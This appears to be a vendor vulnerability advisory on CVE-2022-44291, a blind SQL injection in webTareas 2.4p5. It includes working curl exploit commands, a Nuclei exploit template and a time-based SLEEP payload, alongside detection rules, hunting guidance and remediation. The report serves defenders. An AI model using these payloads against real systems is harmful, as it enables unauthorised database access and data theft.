CVE-2022-44291

Executive Summary

CVE-2022-44291 is a critical SQL injection vulnerability discovered in webTareas 2.4p5, a web-based project management application. The flaw resides in the phasesets.php script, where the id parameter is not properly sanitized before being used in a SQL query. An authenticated attacker can exploit this vulnerability to perform time-based blind SQL injection, potentially extracting sensitive data such as user credentials, project phases, and task information from the underlying database. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) and is confirmed by a publicly available Nuclei template. No official patch has been released by the vendor, leaving all instances of webTareas 2.4p5 at risk.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and is specific to the webTareas PHP application. The risk is limited to organizations that have deployed webTareas 2.4p5 on their infrastructure.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (authentication is required per Nuclei template, but the vector shows PR:N)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation and the potential for complete compromise of the database.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the phasesets.php file. The id parameter is passed directly into a SQL query without proper sanitization or parameterization. The Nuclei template demonstrates a time-based blind injection technique:

• The attacker first authenticates via a POST request to /general/login.php.
• Then, a GET request is sent to /administration/phasesets.php?mode=delete&id=1)+AND+(SELECT+3830+FROM+(SELECT(SLEEP(6)))MbGE)+AND+(6162=6162.
• The injected payload 1)+AND+(SELECT+3830+FROM+(SELECT(SLEEP(6)))MbGE)+AND+(6162=6162 causes the database to sleep for 6 seconds if the condition is true, allowing the attacker to infer information bit by bit.

The vulnerability is authenticated, meaning the attacker must have valid credentials to access the phasesets.php page. However, the CVSS vector indicates no privileges required, which may be an error in the template; the exploit requires a valid session.

Vulnerable vs. Patched Code

Vulnerable Code (webTareas 2.4p5): The phasesets.php file likely contains code similar to:

$id = $_GET['id'];
$query = "DELETE FROM phasesets WHERE id = $id";
mysqli_query($conn, $query);

The $id variable is directly interpolated into the SQL query without any sanitization.

Patched Code (Hypothetical): A secure version would use prepared statements:

$id = $_GET['id'];
$stmt = $conn->prepare("DELETE FROM phasesets WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();

No official patch has been released by the vendor.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for webTareas (e.g., username/password).
• Network access to the webTareas instance.

Exploitation Steps:

1. Authenticate to the webTareas application using the provided credentials.
2. Use the Nuclei template or a manual SQL injection tool to exploit the id parameter.
3. Extract data using time-based blind techniques (e.g., SLEEP()).

Example Manual Exploit:

# Step 1: Login
curl -c cookies.txt -X POST http://target/general/login.php?session=false \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="action"\r\n\r\nlogin\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="loginForm"\r\n\r\nadmin\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="passwordForm"\r\n\r\npassword\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="loginSubmit"\r\n\r\nLog In\r\n------WebKitFormBoundary--'

# Step 2: Exploit with time-based injection
curl -b cookies.txt "http://target/administration/phasesets.php?mode=delete&id=1)+AND+(SELECT+3830+FROM+(SELECT(SLEEP(6)))MbGE)+AND+(6162=6162"

Nuclei Template Usage:

nuclei -t CVE-2022-44291.yaml -u http://target -var username=admin -var password=password

Blue Team

Detection:

• Monitor for HTTP requests to /administration/phasesets.php with suspicious id parameters containing SQL keywords (e.g., SLEEP, AND, OR, SELECT).
• Look for abnormal response times (e.g., requests taking longer than 5 seconds).
• Check for multiple failed login attempts followed by SQL injection attempts.

Hunting:

• Search web server logs for patterns like id=1)+AND+(SELECT.
• Correlate authentication events with subsequent SQL injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /administration/phasesets.php with mode=delete and id parameter containing SQL injection payloads.
  • Unusually long response times (e.g., >5 seconds) for phasesets.php requests.
• File IOCs:
  • Modified phasesets.php file (if attacker uploads a web shell).
• Log IOCs:
  • Web server logs showing SQL injection patterns in the id parameter.
  • Database logs showing SLEEP() function calls.

Detection Engineering

YARA Rule

rule CVE_2022_44291_WebTareas_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2022-44291 in webTareas"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-44291"
    strings:
        $sqli1 = "phasesets.php?mode=delete&id="
        $sqli2 = "SLEEP("
        $sqli3 = "AND (SELECT"
        $sqli4 = "OR (SELECT"
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: WebTareas SQL Injection Attempt (CVE-2022-44291)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against webTareas phasesets.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - "phasesets.php?mode=delete&id="
            - "SLEEP("
            - "AND (SELECT"
            - "OR (SELECT"
    condition: selection
falsepositives:
    - Legitimate use of the word "SLEEP" in a parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-44291 WebTareas SQL Injection Attempt"; flow:to_server,established; content:"phasesets.php"; http_uri; content:"mode=delete"; http_uri; content:"id="; http_uri; pcre:"/(SLEEP|AND\s+\(SELECT|OR\s+\(SELECT)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2022-44291

info:
  name: WebTareas 2.4p5 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    webTareas 2.4p5 was discovered to contain a SQL injection vulnerability via the id parameter in phasesets.php.
  impact: |
    Authenticated attackers can execute time-based blind SQL injection through the id parameter in phasesets.php, potentially extracting sensitive database information including project phases, task data, and user credentials from WebTareas.
  remediation: |
    Update WebTareas to a version later than 2.4p5 that properly sanitizes and parameterizes the id parameter in phasesets.php.
  reference:
    - http://webtareas.com/
    - https://github.com/anhdq201/webtareas/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44291
    - http://webtareas.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-44291
    cwe-id: CWE-89
    epss-score: 0.66398
    epss-percentile: 0.98543
    cpe: cpe:2.3:a:webtareas_project:webtareas:2.4:p5:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: webtareas_project
    product: webtareas
  tags: time-based-sqli,cve,cve2022,sqli,webtareas,authenticated,intrusive,webtareas_project,vuln

http:
  - raw:
      - |
        POST /general/login.php?session=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525

        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="action"

        login
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginForm"

        {{username}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="passwordForm"

        {{password}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginSubmit"

        Log In
        -----------------------------3023071625140724693672385525--
      - |
        @timeout: 20s
        GET /administration/phasesets.php?mode=delete&id=1)+AND+(SELECT+3830+FROM+(SELECT(SLEEP(6)))MbGE)+AND+(6162=6162 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'len(body_2) == 0'
          - 'status_code_2 == 302'
          - 'contains(header_2, "text/html")'
          - 'contains(body_1, "webTareasSID")'
        condition: and

Remediation & Mitigation

Immediate Actions:

1. Isolate the webTareas server from the internet if possible.
2. Apply a Web Application Firewall (WAF) rule to block SQL injection patterns in the id parameter.
3. Restrict access to the /administration/ directory using IP allowlisting or VPN.

Long-term Fix:

• Since no official patch exists, consider migrating to an alternative project management tool.
• If migration is not possible, manually patch the phasesets.php file by implementing prepared statements for all database queries.
• Regularly monitor for new releases from the vendor.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided in this report.
• Enable detailed logging for web server and database activities.

Valters IT
Securing Your Digital Frontier

{/* [Security Hash: 530AAF7F71BBD4E97F9F8799] */}